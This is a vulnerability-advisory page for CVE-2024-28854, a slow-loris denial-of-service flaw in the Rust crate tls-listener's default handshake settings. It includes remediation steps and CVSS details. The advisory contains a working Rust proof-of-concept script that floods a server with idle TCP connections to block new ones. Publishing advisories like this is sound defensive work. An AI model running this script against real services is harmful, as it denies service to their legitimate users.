Loading...
Skip to main content

CVE-2024-28854 — Vulnerability in tls-listener — CVE Details

HIGH

tls-listener affected by the slow loris vulnerability with default configuration

Published March 15, 2024Updated September 10, 2026Source: osv

Summary

### Summary With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. ### Details The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. ```rust /// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10); ``` ### PoC Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server. ```rust use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet}; #[tokio::main] async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10); let url = "127.0.0.1:3000"; let sockets: Vec<_> = url .to_socket_addrs() .unwrap() .inspect(|s| println!("{s:?}")) .collect(); let mut js = JoinSet::new(); let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32)); int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst); for _ in 0..10000 { for &socket in &sockets { int.tick().await; js.spawn(async move { let mut stream = TcpStream::connect(socket).await.unwrap(); let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await; }); } } while js.join_next().await.is_some() {} } ``` ### Impact This is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener` ### Mitigation Previous versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Advisory Timeline

  • First published March 15, 2024 (941 days ago).
  • Last revised September 10, 2026 — 908 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update tls-listener to 0.10.0 or later
cargo update -p tls-listener --precise 0.10.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: crates.io (1).

PackageEcosystemAffectedFixed In
tls-listener
crates.io
All versions0.10.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-400
    Uncontrolled Resource ConsumptionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2024-28854?
tls-listener affected by the slow loris vulnerability with default configuration This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2024-28854?
CVE-2024-28854 affects tls-listener. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-28854 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-2qph-qpvm-2qf7
RUSTSEC-2024-0341

Related CVEs

  • CVE-2026-93657
    HIGH

    hickory-resolver: Resolver::lookup() and Resolver::lookup_ip() APIs obscure DNSSEC validation failures

  • CVE-2026-18140
    HIGH

    aws-smithy-json: Uncontrolled recursion in the aws-smithy-json unknown-key skip path allows unauthenticated remote denial of service in smithy-rs generated servers

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies